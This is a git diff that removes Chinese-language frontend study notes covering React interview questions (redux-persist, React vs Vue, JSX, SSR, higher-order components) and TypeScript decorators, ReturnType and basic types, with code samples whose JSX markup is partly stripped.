    - ); - } -} -let div = document.createElement('div'); -let props = { - -}; -document.body.appendChild(div); -let Box = ReactD -``` - -子类: - -```javascript -//子类jsx -import React, { Component } from 'react'; -class Child extends Component { - constructor(props){ - super(props); - this.state = {date: new Date()}; - } - showValue=()=>{ - this.props.showValue && this.props.showValue() - } - render() { - return ( -
    -
    - Child - -
    -
    - ); - } -} -export default Child; -``` - -css: - -```css -.dialog-con{ - position: fixed; - top: 0; - left: 0; - width: 100%; - height: 100%; - background: rgba(0, 0, 0, 0.3); -} -``` - -### 4. React 数据持久化有什么实践吗? :star: - -封装数据持久化组件: - -```javascript -let storage={ - // 增加 - set(key, value){ - localStorage.setItem(key, JSON.stringify(value)); - }, - // 获取 - get(key){ - return JSON.parse(localStorage.getItem(key)); - }, - // 删除 - remove(key){ - localStorage.removeItem(key); - } -}; -export default Storage; -``` - -在React项目中,通过redux存储全局数据时,会有一个问题,如果用户刷新了网页,那么通过redux存储的全局数据就会被全部清空,比如登录信息等。这时就会有全局数据持久化存储的需求。首先想到的就是localStorage,localStorage是没有时间限制的数据存储,可以通过它来实现数据的持久化存储。 - -但是在已经使用redux来管理和存储全局数据的基础上,再去使用localStorage来读写数据,这样不仅是工作量巨大,还容易出错。那么有没有结合redux来达到持久数据存储功能的框架呢?当然,它就是**redux-persist**。`redux-persis`会将redux的store中的数据缓存到浏览器的localStorage中。其使用步骤如下: - -**(1)首先要安装redux-persist:** - -```javascript -npm i redux-persist -``` - -**(2)对于reducer和action的处理不变,只需修改store的生成代码,修改如下:** - -```javascript -import {createStore} from 'redux' -import reducers from '../reducers/index' -import {persistStore, persistReducer} from 'redux-persist'; -import storage from 'redux-persist/lib/storage'; -import autoMergeLevel2 from 'redux-persist/lib/stateReconciler/autoMergeLevel2'; -const persistConfig = { - key: 'root', - storage: storage, - stateReconciler: autoMergeLevel2 // 查看 'Merge Process' 部分的具体情况 -}; -const myPersistReducer = persistReducer(persistConfig, reducers) -const store = createStore(myPersistReducer) -export const persistor = persistStore(store) -export default store -``` - -**(3)在index.js中,将PersistGate标签作为网页内容的父标签:** - -```javascript -import React from 'react'; -import ReactDOM from 'react-dom'; -import {Provider} from 'react-redux' -import store from './redux/store/store' -import {persistor} from './redux/store/store' -import {PersistGate} from 'redux-persist/lib/integration/react'; -ReactDOM.render( - - {/*网页内容*/} - - , document.getElementById('root')); -``` - -这就完成了通过redux-persist实现React持久化本地数据存储的简单应用。 - -### 5. 对 React 和 Vue 的理解,它们的异同:star::star: - -**相似之处:** - -- 都将注意力集中保持在核心库(UI显示),而将其他功能如路由和全局状态管理交给相关的库。 -- 都有自己的构建工具和脚手架,能让你得到一个根据最佳实践设置的项目模板。 -- 都使用了Virtual DOM(虚拟DOM)提高重绘性能。 -- 都有props的概念,允许组件间的数据传递。 -- 都鼓励组件化应用,将应用分拆成一个个功能明确的模块,提高复用性。 - -**不同之处:** - -**1)数据流** - -Vue默认支持数据双向绑定(也是单项数据流),而React一直提倡单向数据流 - -**2)虚拟DOM** - -Vue2.x开始引入"Virtual DOM",消除了和React在这方面的差异,但是在具体的细节还是有各自的特点。 - -- Vue宣称可以更快地计算出Virtual DOM的差异,这是由于它在渲染过程中,会跟踪每一个组件的依赖关系,不需要重新渲染整个组件树。 -- 对于React而言,每当应用的状态被改变时,全部子组件都会重新渲染。当然,这可以通过 PureComponent/shouldComponentUpdate这个生命周期方法来进行控制,但Vue将此视为默认的优化。(React 粒度更高) - -**3)组件化** - -React与Vue最大的不同是模板的编写。 - -- Vue鼓励写近似常规HTML的模板。写起来很接近标准 HTML元素,只是多了一些属性。 -- React推荐你所有的模板通用JavaScript的语法扩展——JSX书写。 - -**具体来讲:**React中render函数是支持闭包特性的,所以我们import的组件在render中可以直接调用。但是在Vue中,由于模板中使用的数据都必须挂在 this 上进行一次中转,所以 import 完组件之后,还需要在 components 中再声明下。 - -**4)监听数据变化的实现原理不同** - -- Vue 通过 **getter/setter** 以及一些函数的劫持,能精确知道数据变化,不需要特别的优化就能达到很好的性能 -- React 默认是通过**比较引用**的方式进行的,如果不优化(PureComponent/shouldComponentUpdate)可能导致大量不必要的vDOM的重新渲染。这是因为 Vue 使用的是可变数据,而React更强调数据的不可变。 - -**5)高阶组件** - -react可以通过高阶组件(Higher Order Components-- HOC)来扩展,而vue需要通过mixins来扩展。 - -原因高阶组件就是高阶函数,而React的组件本身就是纯粹的函数,所以高阶函数对React来说易如反掌。相反Vue.js使用HTML模板创建视图组件,这时模板无法有效的编译,因此Vue不采用HOC来实现。 - -**6)构建工具** - -两者都有自己的构建工具 - -- React ==> Create React APP -- Vue ==> vue-cli - -**7)跨平台** - -- React ==> React Native -- Vue ==> Weex、uni-app - -### 6. 可以使用TypeScript写React应用吗?怎么操作? - -**(1)如果还未创建 Create React App 项目** - -- 直接创建一个具有 typescript 的 Create React App 项目: - -```shell - npx create-react-app demo --typescript -``` - -**(2)如果已经创建了 Create React App 项目,需要将 typescript 引入到已有项目中** - -- 通过命令将 typescript 引入项目: - -```javascript -npm install --save typescript @types/node @types/react @types/react-dom @types/jest -``` - -- 将项目中任何 后缀名为 ‘.js’ 的 JavaScript 文件重命名为 TypeScript 文件即后缀名为 ‘.tsx’(例如 src/index.js 重命名为 src/index.tsx ) - -### 7. React 设计思路,它的理念是什么?:star: - -**(1)编写简单直观的代码** - -React最大的价值不是高性能的虚拟DOM、封装的事件机制、服务器端渲染,而是声明式的直观的编码方式。react文档第一条就是声明式,React 使创建交互式 UI 变得轻而易举。为应用的每一个状态设计简洁的视图,当数据改变时 React 能有效地更新并正确地渲染组件。 以声明式编写 UI,可以让代码更加可靠,且方便调试。 - -**(2)简化可复用的组件** - -React框架里面使用了简化的组件模型,但更彻底地使用了组件化的概念。React将整个UI上的每一个功能模块定义成组件,然后将小的组件通过组合或者嵌套的方式构成更大的组件。React的组件具有如下的特性∶ - -- 可组合:简单组件可以组合为复杂的组件 -- 可重用:每个组件都是独立的,可以被多个组件使用 -- 可维护:和组件相关的逻辑和UI都封装在了组件的内部,方便维护 -- 可测试:因为组件的独立性,测试组件就变得方便很多。 - -**(3) Virtual DOM** - -真实页面对应一个 DOM 树。在传统页面的开发模式中,每次需要更新页面时,都要手动操作 DOM 来进行更新。 DOM 操作非常昂贵。在前端开发中,性能消耗最大的就是 DOM 操作,而且这部分代码会让整体项目的代码变得难 以维护。React 把真实 DOM 树转换成 JavaScript 对象树,也就是 Virtual DOM,每次数据更新后,重新计算 Virtual DOM,并和上一次生成的 Virtual DOM 做对比,对发生变化的部分做批量更新。React 也提供了直观的 shouldComponentUpdate 生命周期回调,来减少数据变化后不必要的 Virtual DOM 对比过程,以保证性能。 - -**(4)函数式编程** - -React 把过去不断重复构建 UI 的过程抽象成了组件,且在给定参数的情况下约定渲染对应的 UI 界面。React 能充分利用很多函数式方法去减少冗余代码。此外,由于它本身就是简单函数,所以易于测试。 - -**(5)一次学习,随处编写** - -无论现在正在使用什么技术栈,都可以随时引入 React来开发新特性,而不需要重写现有代码。 - -React 还可以使用 Node 进行服务器渲染,或使用 React Native 开发原生移动应用。因为 React 组件可以映射为对应的原生控件。在输出的时候,是输出 Web DOM,还是 Android 控件,还是 iOS 控件,就由平台本身决定了。所以,react很方便和其他平台集成 - -**** - -### 8. React中props.children和React.Children的区别:star: - -**** - -在React中,当涉及组件嵌套,在父组件中使用`props.children`把所有子组件显示出来。如下: - -```javascript -function ParentComponent(props){ - return ( -
    - {props.children} -
    - ) -} -``` - -如果想把父组件中的属性传给所有的子组件,需要使用`React.Children`方法。 - -比如,把几个Radio组合起来,合成一个RadioGroup,这就要求所有的Radio具有同样的name属性值。可以这样:把Radio看做子组件,RadioGroup看做父组件,name的属性值在RadioGroup这个父组件中设置。 - -首先是子组件: - -```javascript -//子组件 -function RadioOption(props) { - return ( - - ) -} -``` - -然后是父组件,不仅需要把它所有的子组件显示出来,还需要为每个子组件赋上name属性和值: - -```javascript -//父组件用,props是指父组件的props -function renderChildren(props) { - - //遍历所有子组件 - return React.Children.map(props.children, child => { - if (child.type === RadioOption) - return React.cloneElement(child, { - //把父组件的props.name赋值给每个子组件 - name: props.name - }) - else - return child - }) -} -//父组件 -function RadioGroup(props) { - return ( -
    - {renderChildren(props)} -
    - ) -} -function App() { - return ( - - - - - - ) -} -export default App; -``` - -以上,`React.Children.map`让我们对父组件的所有子组件又更灵活的控制。 - -### 9. React的状态提升是什么?使用场景有哪些?:star: - -React的状态提升就是用户对子组件操作,子组件不改变自己的状态,通过自己的props把这个操作改变的数据传递给父组件,改变父组件的状态,从而改变受父组件控制的所有子组件的状态,这也是React单项数据流的特性决定的。官方的原话是:共享 state(状态) 是通过将其移动到需要它的组件的最接近的共同祖先组件来实现的。 这被称为“状态提升(Lifting State Up)”。 - -概括来说就是**将多个组件需要共享的状态提升到它们最近的父组件上**,**在父组件上改变这个状态然后通过props分发给子组件。** - -一个简单的例子,父组件中有两个input子组件,如果想在第一个输入框输入数据,来改变第二个输入框的值,这就需要用到状态提升。 - -```javascript -class Father extends React.Component { - constructor(props) { - super(props) - this.state = { - Value1: '', - Value2: '' - } - } - value1Change(aa) { - this.setState({ - Value1: aa - }) - } - value2Change(bb) { - this.setState({ - Value2: bb - }) - } - render() { - return ( -
    - - - - -
    - ) - } -} -class Child1 extends React.Component { - constructor(props) { - super(props) - } - changeValue(e) { - this.props.onvalue1Change(e.target.value) - } - render() { - return ( - - ) - } -} -class Child2 extends React.Component { - constructor(props) { - super(props) - } - render() { - return ( - - ) - } -} - -ReactDOM.render( - , - document.getElementById('root') -) -``` - -### 10. React中constructor和getInitialState的区别? - -两者都是用来初始化state的。前者是ES6中的语法,后者是ES5中的语法,新版本的React中已经废弃了该方法。 - -getInitialState是ES5中的方法,如果使用createClass方法创建一个Component组件,可以自动调用它的getInitialState方法来获取初始化的State对象, - -```javascript -var APP = React.creatClass ({ - getInitialState() { - return { - userName: 'hi', - userId: 0 - }; - } -}) -``` - -React在ES6的实现中去掉了getInitialState这个hook函数,规定state在constructor中实现,如下: - -```javascript -Class App extends React.Component{ - constructor(props){ - super(props); - this.state={}; - } - } -``` - -### 11. React的严格模式如何使用,有什么用处? - -`StrictMode` 是一个用来突出显示应用程序中潜在问题的工具。与 `Fragment` 一样,`StrictMode` 不会渲染任何可见的 UI。它为其后代元素触发额外的检查和警告。 可以为应用程序的任何部分启用严格模式。例如: - -```javascript -import React from 'react'; -function ExampleApplication() { - return ( -
    -
    - -
    - - -
    -
    -
    -
    - ); -} -``` - -在上述的示例中,不会对 `Header` 和 `Footer` 组件运行严格模式检查。但是,`ComponentOne` 和 `ComponentTwo` 以及它们的所有后代元素都将进行检查。 - -`StrictMode` 目前有助于: - -- 识别不安全的生命周期 -- 关于使用过时字符串 ref API 的警告 -- 关于使用废弃的 findDOMNode 方法的警告 -- 检测意外的副作用 -- 检测过时的 context API - -### 12. 在React中遍历的方法有哪些 ? :star::star: - -**(1)遍历数组:map** - -```jsx -import React from 'react'; - -class App extends React.Component { - render() { - let arr = ['a', 'b', 'c', 'd']; - return ( -
      - { - arr.map((item, index) => { - return
    • {item}
    • - }) - } -
    - ) - } -} -``` - -**(2)遍历对象:Object.entries() 把对象转换成数组后使用map &&直接使用 for in 遍历key** - -> object 没有内部可迭器,无法使用for of - -```jsx -class App extends React.Component { - render() { - let obj = { - a: 1, - b: 2, - c: 3 - } - return ( -
      - { - (() => { - let domArr = []; - for(const key in obj) { - if(obj.hasOwnProperty(key)) { - const value = obj[key] - domArr.push(
    • {value}
    • ) - } - } - return domArr; - })() - } -
    - ) - } -} - -// Object.entries() 把对象转换成数组 -class App extends React.Component { - render() { - let obj = { - a: 1, - b: 2, - c: 3 - } - return ( -
      - { - Object.entries(obj).map(([key, value], index) => { // item是一个数组,把item解构,写法是[key, value] - return
    • {value}
    • - }) - } -
    - ) - } -} -``` - -### 13. 在React中页面重新加载时怎样保留数据? - -这个问题就设计到了**数据持久化,** 主要的实现方式有以下几种: - -- **data.js:** 使用webpack构建的项目,可以建一个文件,data.js,将数据保存data.js中,跳转页面后获取; -- **sessionStorge:** 在进入选择地址页面之前,componentWillUnMount的时候,将数据存储到sessionStorage中,每次进入页面判断sessionStorage中有没有存储的那个值,有,则读取渲染数据;没有,则说明数据是初始化的状态。返回或进入除了选择地址以外的页面,清掉存储的sessionStorage,保证下次进入是初始化的数据 -- **history API:** History API 的 `pushState` 函数可以给历史记录关联一个任意的可序列化 `state`,所以可以在路由 `push` 的时候将当前页面的一些信息存到 `state` 中,下次返回到这个页面的时候就能从 `state` 里面取出离开前的数据重新渲染。react-router 直接可以支持。这个方法适合一些需要临时存储的场景。 - -### 14. 同时引用这三个库react.js、react-dom.js和babel.js它们都有什么作用?:star: - -- react:包含react所必须的核心代码 -- react-dom:react渲染在不同平台所需要的核心代码 -- babel:将jsx转换成React代码的工具 - -### 15. React必须使用JSX吗? - -React 并不强制要求使用 JSX。当不想在构建环境中配置有关 JSX 编译时,不在 React 中使用 JSX 会更加方便。 - -每个 JSX 元素只是调用 `React.createElement(component, props, ...children)` 的语法糖。因此,使用 JSX 可以完成的任何事情都可以通过纯 JavaScript 完成。 - -例如,用 JSX 编写的代码: - -```javascript -class Hello extends React.Component { - render() { - return
    Hello {this.props.toWhat}
    ; - } -} -ReactDOM.render( - , - document.getElementById('root') -); -``` - -可以编写为不使用 JSX 的代码: - -```javascript -class Hello extends React.Component { - render() { - return React.createElement('div', null, `Hello ${this.props.toWhat}`); - } -} -ReactDOM.render( - React.createElement(Hello, {toWhat: 'World'}, null), - document.getElementById('root') -); -``` - -### 16. 为什么使用jsx的组件中没有看到使用react却需要引入react? - -本质上来说JSX是`React.createElement(component, props, ...children)`方法的语法糖。在React 17之前,如果使用了JSX,其实就是在使用React, `babel` 会把组件转换为 `CreateElement` 形式。**在React 17之后,就不再需要引入,因为 `babel` 已经可以帮我们自动引入react。** - -### 17. 在React中怎么使用async/await? - -async/await是ES7标准中的新特性。如果是使用React官方的脚手架创建的项目,就可以直接使用。如果是在自己搭建的webpack配置的项目中使用,可能会遇到 **regeneratorRuntime is not defined** 的异常错误。那么我们就需要引入babel,并在babel中配置使用async/await。可以利用babel的 transform-async-to-module-method 插件来转换其成为浏览器支持的语法,虽然没有性能的提升,但对于代码编写体验要更好。 - -### 18. React.Children.map和js的map有什么区别?:star: - -JavaScript中的map不会对为null或者undefined的数据进行处理,而React.Children.map中的map可以处理React.Children为null或者undefined的情况。 - -### 19. 对React SSR的理解 :star::star: - -服务端渲染是数据与模版组成的html,即 HTML = 数据 + 模版。将组件或页面通过服务器生成html字符串,再发送到浏览器,最后将静态标记"混合"为客户端上完全交互的应用程序。页面没使用服务渲染,当请求页面时,返回的body里为空,之后执行js将html结构注入到body里,结合css显示出来; - -**SSR的优势:** - -- 对SEO友好 -- 所有的模版、图片等资源都存在服务器端 -- 一个html返回所有数据 -- 减少HTTP请求 -- 响应快、用户体验好、首屏渲染快 - -**1)更利于SEO** - -不同爬虫工作原理类似,只会爬取源码,不会执行网站的任何脚本使用了React或者其它MVVM框架之后,页面大多数DOM元素都是在客户端根据js动态生成,可供爬虫抓取分析的内容大大减少。另外,浏览器爬虫不会等待我们的数据完成之后再去抓取页面数据。服务端渲染返回给客户端的是已经获取了异步数据并执行JavaScript脚本的最终HTML,网络爬中就可以抓取到完整页面的信息。 - -**2)更利于首屏渲染** - -首屏的渲染是node发送过来的html字符串,并不依赖于js文件了,这就会使用户更快的看到页面的内容。尤其是针对大型单页应用,打包后文件体积比较大,普通客户端渲染加载所有所需文件时间较长,首页就会有一个很长的白屏等待时间。 - -**SSR的局限:** - -**1)服务端压力较大** - -本来是通过客户端完成渲染,现在统一到服务端node服务去做。尤其是高并发访问的情况,会大量占用服务端CPU资源; - -**2)开发条件受限** - -在服务端渲染中,只会执行到componentDidMount之前的生命周期钩子,因此项目引用的第三方的库也不可用其它生命周期钩子,这对引用库的选择产生了很大的限制; - -**3)学习成本相对较高** 除了对webpack、MVVM框架要熟悉,还需要掌握node、 Koa2等相关技术。相对于客户端渲染,项目构建、部署过程更加复杂。 - -**时间耗时比较:** - -**1)数据请求** - -由服务端请求首屏数据,而不是客户端请求首屏数据,这是"快"的一个主要原因。服务端在内网进行请求,数据响应速度快。客户端在不同网络环境进行数据请求,且外网http请求开销大,导致时间差 - -- 客户端数据请求 - -![浅谈服务端渲染(SSR)_OkidoGreen的博客-CSDN博客](https://cdn.yihuiblog.top/images/202206302331429.png) - -- 服务端数据请求 - -![img](https://cdn.yihuiblog.top/images/202206302332091.png) - -**2)html渲染** 服务端渲染是先向后端服务器请求数据,然后生成完整首屏 html返回给浏览器;而客户端渲染是等js代码下载、加载、解析完成后再请求数据渲染,等待的过程页面是什么都没有的,就是用户看到的白屏。就是服务端渲染不需要等待js代码下载完成并请求数据,就可以返回一个已有完整数据的首屏页面。 - -- 非ssr 客户端浏览器渲染 - - -![img](https://cdn.yihuiblog.top/images/202206302334740.png) - -- SSR 服务端渲染 - -![img](https://cdn.yihuiblog.top/images/202206302334480.png) - -### 20. 为什么 React 要用 JSX?:star::star: - -JSX 是一个 JavaScript 的语法扩展,或者说是一个类似于 XML 的 ECMAScript 语法扩展。它本身没有太多的语法定义,也不期望引入更多的标准。 - -其实 React 本身并不强制使用 JSX。在没有 JSX 的时候,React 实现一个组件依赖于使用 React.createElement 函数。代码如下: - -```javascript -class Hello extends React.Component { - render() { - return React.createElement( - 'div', - null, - `Hello ${this.props.toWhat}` - ); - } -} -ReactDOM.render( - React.createElement(Hello, {toWhat: 'World'}, null), - document.getElementById('root') -); -复制代码 -``` - -而 JSX 更像是一种语法糖,通过类似 XML 的描述方式,描写函数对象。在采用 JSX 之后,这段代码会这样写: - -```javascript -class Hello extends React.Component { - render() { - return
    Hello {this.props.toWhat}
    ; - } -} -ReactDOM.render( - , - document.getElementById('root') -); -复制代码 -``` - -通过对比,可以清晰地发现,代码变得更为简洁,而且代码结构层次更为清晰。 - -因为 React 需要将组件转化为虚拟 DOM 树,所以在编写代码时,实际上是在手写一棵结构树。而**XML 在树结构的描述上天生具有可读性强的优势。** - -但这样可读性强的代码仅仅是给写程序的同学看的,实际上在运行的时候,会使用 Babel 插件将 JSX 语法的代码还原为 React.createElement 的代码。 - -**总结:** JSX 是一个 JavaScript 的语法扩展,结构类似 XML。JSX 主要用于声明 React 元素,但 React 中并不强制使用 JSX。即使使用了 JSX,也会在构建过程中,通过 Babel 插件编译为 React.createElement。所以 JSX 更像是 React.createElement 的一种语法糖。 - -React 团队并不想引入 JavaScript 本身以外的开发体系。而是希望通过合理的关注点分离保持组件开发的纯粹性。 - -### 21. HOC相比 mixins 有什么优点? - -HOC 和 Vue 中的 mixins 作用是一致的,并且在早期 React 也是使用 mixins 的方式。但是在使用 class 的方式创建组件以后,mixins 的方式就不能使用了,并且其实 mixins 也是存在一些问题的,比如: - -- 隐含了一些依赖,比如我在组件中写了某个 `state` 并且在 `mixin` 中使用了,就这存在了一个依赖关系。万一下次别人要移除它,就得去 `mixin` 中查找依赖 -- 多个 `mixin` 中可能存在相同命名的函数,同时代码组件中也不能出现相同命名的函数,否则就是重写了,其实我一直觉得命名真的是一件麻烦事。。 -- 雪球效应,虽然我一个组件还是使用着同一个 `mixin`,但是一个 `mixin` 会被多个组件使用,可能会存在需求使得 `mixin` 修改原本的函数或者新增更多的函数,这样可能就会产生一个维护成本 - -HOC 解决了这些问题,并且它们达成的效果也是一致的,同时也更加的政治正确(毕竟更加函数式了)。 - -### 22. React 中的高阶组件运用了什么设计模式? - -使用了装饰器模式,高阶组件的运用: - -```javascript -function withWindowWidth(BaseComponent) { - class DerivedClass extends React.Component { - state = { - windowWidth: window.innerWidth, - } - onResize = () => { - this.setState({ - windowWidth: window.innerWidth, - }) - } - componentDidMount() { - window.addEventListener('resize', this.onResize) - } - componentWillUnmount() { - window.removeEventListener('resize', this.onResize); - } - render() { - return - } - } - return DerivedClass; -} -const MyComponent = (props) => { - return
    Window width is: {props.windowWidth}
    -}; -export default withWindowWidth(MyComponent); -复制代码 -``` - -装饰模式的特点是不需要改变 被装饰对象 本身,而只是在外面套一个外壳接口。JavaScript 目前已经有了原生装饰器的提案,其用法如下: - -```javascript -@testable - class MyTestableClass { -} -``` - diff --git "a/src/React/\351\253\230\347\272\247 React \347\273\204\344\273\266\347\273\204\345\220\210.md" "b/src/React/\351\253\230\347\272\247 React \347\273\204\344\273\266\347\273\204\345\220\210.md" deleted file mode 100644 index a4f1d4f2..00000000 --- "a/src/React/\351\253\230\347\272\247 React \347\273\204\344\273\266\347\273\204\345\220\210.md" +++ /dev/null @@ -1,5 +0,0 @@ -# 高级 React 组件组合 - -> 参照翻译: -> -> [Advanced React component composition](https://frontendmastery.com/posts/advanced-react-component-composition-guide/) \ No newline at end of file diff --git "a/src/TypeScript/TS \350\243\205\351\245\260\345\231\250\344\275\277\347\224\250\344\270\200\350\247\210.md" "b/src/TypeScript/TS \350\243\205\351\245\260\345\231\250\344\275\277\347\224\250\344\270\200\350\247\210.md" deleted file mode 100644 index a59d3c25..00000000 --- "a/src/TypeScript/TS \350\243\205\351\245\260\345\231\250\344\275\277\347\224\250\344\270\200\350\247\210.md" +++ /dev/null @@ -1,229 +0,0 @@ ---- -date: 2022-10-19 -category: -- TypeScript ---- - -# TS 装饰器使用一览 - -来自官网: - -> 装饰器是一种包装代码的简单方法,它也是一种设计模式,能够扩展包装代码的功能而不修改它。 -> -> 尽管装饰器在 TypeScript 和 Python 等语言中被广泛使用,但是 JavaScript 装饰器的支持仍处于第 2 阶段提案中。但是,我们可以借助 Babel 和 TypeScript 编译器使用 JavaScript 装饰器。 - -装饰器是一种特殊类型的声明,它能够被附加到类声明,方法, 访问符,属性或参数上 - -是一种在不改变原类和使用继承的情况下,动态地扩展对象功能 - -同样的,本质也不是什么高大上的结构,就是一个普通的函数,`@expression` 的形式其实是`Object.defineProperty`的语法糖 - -`expression`求值后必须也是一个函数,它会在运行时被调用,被装饰的声明信息做为参数传入 - -#### 使用方式 - -由于`typescript`是一个实验性特性,若要使用,需要在`tsconfig.json`文件启动,如下: - -```ts -{ - "compilerOptions": { - "target": "ES5", - "experimentalDecorators": true - } -} -``` - -`typescript`装饰器的使用和`javascript`基本一致,只能对类的成员进行使用 - -## 食用方法 - -#### 类装饰 - -> 接收参数:构造器函数 - -例如声明一个函数 `addAge` 去给 Class 的属性 `age` 添加年龄 - -```ts -function addAge(constructor: Function) { - constructor.prototype.age = 18; -} - -@addAge -class Person{ - name: string; - age!: number; - constructor() { - this.name = 'huihui'; - } -} - -let person = new Person(); - -console.log(person.age); // 18 -``` - -上述代码,实际等同于以下形式: - -```ts -Person = addAge(function Person() { ... }); -``` - -上述可以看到,当装饰器作为修饰类的时候,会把构造器传递进去。 `constructor.prototype.age` 就是在每一个实例化对象上面添加一个 `age` 属性 - -#### 方法/属性装饰 - -> target:对象的原型 -> propertyKey:方法的名称 -> descriptor:方法的属性描述符 - -可以看到,这三个属性实际就是`Object.defineProperty`的三个参数,如果是类的属性,则没有传递第三个参数 - -如下例子: - -```ts -// 声明装饰器修饰方法/属性 -function method(target: any, propertyKey: string, descriptor: PropertyDescriptor) { - console.log(target); - console.log("prop " + propertyKey); - console.log("desc " + JSON.stringify(descriptor) + "\n\n"); - descriptor.writable = false; -}; - -function property(target: any, propertyKey: string) { - console.log("target", target) - console.log("propertyKey", propertyKey) -} - -class Person{ - @property - name: string; - constructor() { - this.name = 'huihui'; - } - - @method - say(){ - return 'instance method'; - } - - @method - static run(){ - return 'static method'; - } -} - -const xmz = new Person(); - -// 修改实例方法say -xmz.say = function() { - return 'edit' -} -``` - -#### 参数装饰 - -> target :当前对象的原型 -> propertyKey :参数的名称 -> index:参数数组中的位置 - -```ts -function logParameter(target: Object, propertyName: string, index: number) { - console.log(target); - console.log(propertyName); - console.log(index); -} - -class Employee { - greet(@logParameter message: string): string { - return `hello ${message}`; - } -} -const emp = new Employee(); -emp.greet('hello'); -``` - -#### 访问器装饰 - -> 使用起来方式与方法装饰一致,如下: - -```ts -function modification(target: Object, propertyKey: string, descriptor: PropertyDescriptor) { - console.log(target); - console.log("prop " + propertyKey); - console.log("desc " + JSON.stringify(descriptor) + "\n\n"); -}; - -class Person{ - _name: string; - constructor() { - this._name = 'huihui'; - } - - @modification - get name() { - return this._name - } -} -``` - -#### 装饰器工厂 - -如果想要传递参数,使装饰器变成类似工厂函数,只需要在装饰器函数内部再构造一个函数即可,如下: - -```ts -function addAge(age: number) { - return function(constructor: Function) { - constructor.prototype.age = age - } -} - -@addAge(10) -class Person{ - name: string; - age!: number; - constructor() { - this.name = 'huihui'; - } -} - -let person = new Person(); -``` - -#### 执行顺序 - -当多个装饰器应用于一个声明上,将由上至下依次对装饰器表达式求值,求值的结果会被当作函数,由下至上依次调用,例如如下: - -```ts -function f() { - console.log("f(): evaluated"); - return function (target, propertyKey: string, descriptor: PropertyDescriptor) { - console.log("f(): called"); - } -} - -function g() { - console.log("g(): evaluated"); - return function (target, propertyKey: string, descriptor: PropertyDescriptor) { - console.log("g(): called"); - } -} - -class C { - @f() - @g() - method() {} -} - -// 输出 -f(): evaluated -g(): evaluated -g(): called -f(): called -``` - -## 总结 - -使用优势: - -- 代码可读性变强了,装饰器命名相当于一个注释 -- 在不改变原有代码情况下,对原来功能进行扩展 diff --git "a/src/TypeScript/TS\344\270\255\347\232\204\345\206\205\347\275\256\346\235\241\344\273\266\347\261\273\345\236\213\357\274\232ReturnType.md" "b/src/TypeScript/TS\344\270\255\347\232\204\345\206\205\347\275\256\346\235\241\344\273\266\347\261\273\345\236\213\357\274\232ReturnType.md" deleted file mode 100644 index ab6eb465..00000000 --- "a/src/TypeScript/TS\344\270\255\347\232\204\345\206\205\347\275\256\346\235\241\344\273\266\347\261\273\345\236\213\357\274\232ReturnType.md" +++ /dev/null @@ -1,104 +0,0 @@ -# TS中的内置条件类型:ReturnType - -## 先说一下条件类型是什么 - -1. 条件类型是一种由条件表达式所决定的类型。 - -2. 条件类型使类型具有了不唯一性,同样增加了语言的灵活性。 - -总言之,条件类型就是在类型中添加条件分支,以支持更加灵活的泛型,满足更多的使用场景。 - -例如: - -```ts -T extends U ? X : Y -``` - -表示若类型T可被赋值给类型U,那么结果类型就是X类型,否则就是Y类型。 - -而**内置条件类型**则是TS内部封装好的一些类型处理,使用起来更加便利。 - -## 内置条件类型:ReturnType\ -在 2.8 版本中,TypeScript 内置了一些与 `infer` 有关的映射类型,就比如说我们今天的主角:`ReturnType` - - -其用于提取函数的返回值类型: - ->Constructs a type consisting of the return type of function `Type`. - -手撕示例: - -```ts -type ReturnType = T extends (...args: any[]) => infer P ? P : any; -``` -`ReturnType` 只是将 `infer P` 从参数位置移动到返回值位置,因此此时 `P` 即是表示待推断的返回值类型。 - -```ts -// 比如 -type Func = () => User; -type Test = ReturnType; // Test = User - -// 其他例子 -type T0 = ReturnType<() => string>; // string -type T1 = ReturnType<() => T>; // unknown -type T2 = ReturnType<() => T>; // number[] -``` - -非法的例子: - -```ts -type T = ReturnType; -// Type 'string' does not satisfy the constraint '(...args: any) => any'. -``` - -```ts -type T = ReturnType; -// Type 'Function' does not satisfy the constraint '(...args: any) => any'. -// Type 'Function' provides no match for the signature '(...args: any): any'. -``` - -以上均不满足`(...args: any): any'.`,type T 将被视为`any`处理。 - -其他内置的条件类型还有: - -```ts -Exclude -- 从T中剔除可以赋值给U的类型。 -Extract -- 提取T中可以赋值给U的类型。 -NonNullable -- 从T中剔除null和undefined。 -InstanceType -- 获取构造函数类型的实例类型。 -``` - -## 讲回infer - -`infer` 最早出现在此 [PR](https://github.com/Microsoft/TypeScript/pull/21496) 中,表示在 `extends` 条件语句中待推断的类型变量。 - -示例如下: - -``` -type ParamType = T extends (arg: infer P) => any ? P : T; -``` - -在这个条件语句 `T extends (arg: infer P) => any ? P : T` 中,`infer P` 表示待推断的函数参数。 - -整句表示为:如果 `T` 能赋值给 `(arg: infer P) => any`,则结果是 `(arg: infer P) => any` 类型中的参数 `P`,否则返回为 `T`。 - -```ts -interface User { - name: string; - age: number; -} - -type Func = (user: User) => void; - -type Param = ParamType; // Param = User -type AA = ParamType; // string -``` - - -> **参考:** -> -> [深入浅出TS](https://jkchao.github.io/typescript-book-chinese/tips/infer.html#%E4%BB%8B%E7%BB%8D) -> -> [Utility Types TS文档](https://www.typescriptlang.org/docs/handbook/utility-types.html) -> -> [大厂手撕](https://tehub.com/a/8K0Iqc8vej) diff --git "a/src/TypeScript/TypeScript \347\254\224\350\256\260.md" "b/src/TypeScript/TypeScript \347\254\224\350\256\260.md" deleted file mode 100644 index 3a64f556..00000000 --- "a/src/TypeScript/TypeScript \347\254\224\350\256\260.md" +++ /dev/null @@ -1,1007 +0,0 @@ ---- -date: 2022-08-17 -category: -- TypeScript ---- - -# TypeScript 笔记 - -**:star:PS: 本内容不能作为入门学习使用,仅用于补充完善我个人对TS的知识点** - -> TypeScript是拥有类型的JavaScript超集,它可以编译成普通、干净、完整的JavaScript代码 - -## 理解 - -- 我们可以将TypeScript理解成加强版的JavaScript。 -- JavaScript所拥有的特性,TypeScript全部都是支持的,并且它紧随ECMAScript的标准,所以ES6、ES7、ES8等新语法标准,它都是 支持的; -- 并且在语言层面上,不仅仅增加了类型约束,而且包括一些语法的扩展,比如枚举类型(Enum)、元组类型(Tuple)等; -- 并且TypeScript最终会被编译成JavaScript代码,所以你并不需要担心它的兼容性问题,**在编译时也不需要借助于Babel这样的工具;** - -![image-20220409131819866](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204091318973.png) - -## 类型 - -- number - -- boolean - -- string - -- Array - -- Object - -- Symbol - -- null - -- undefined - -- any - -- unknown 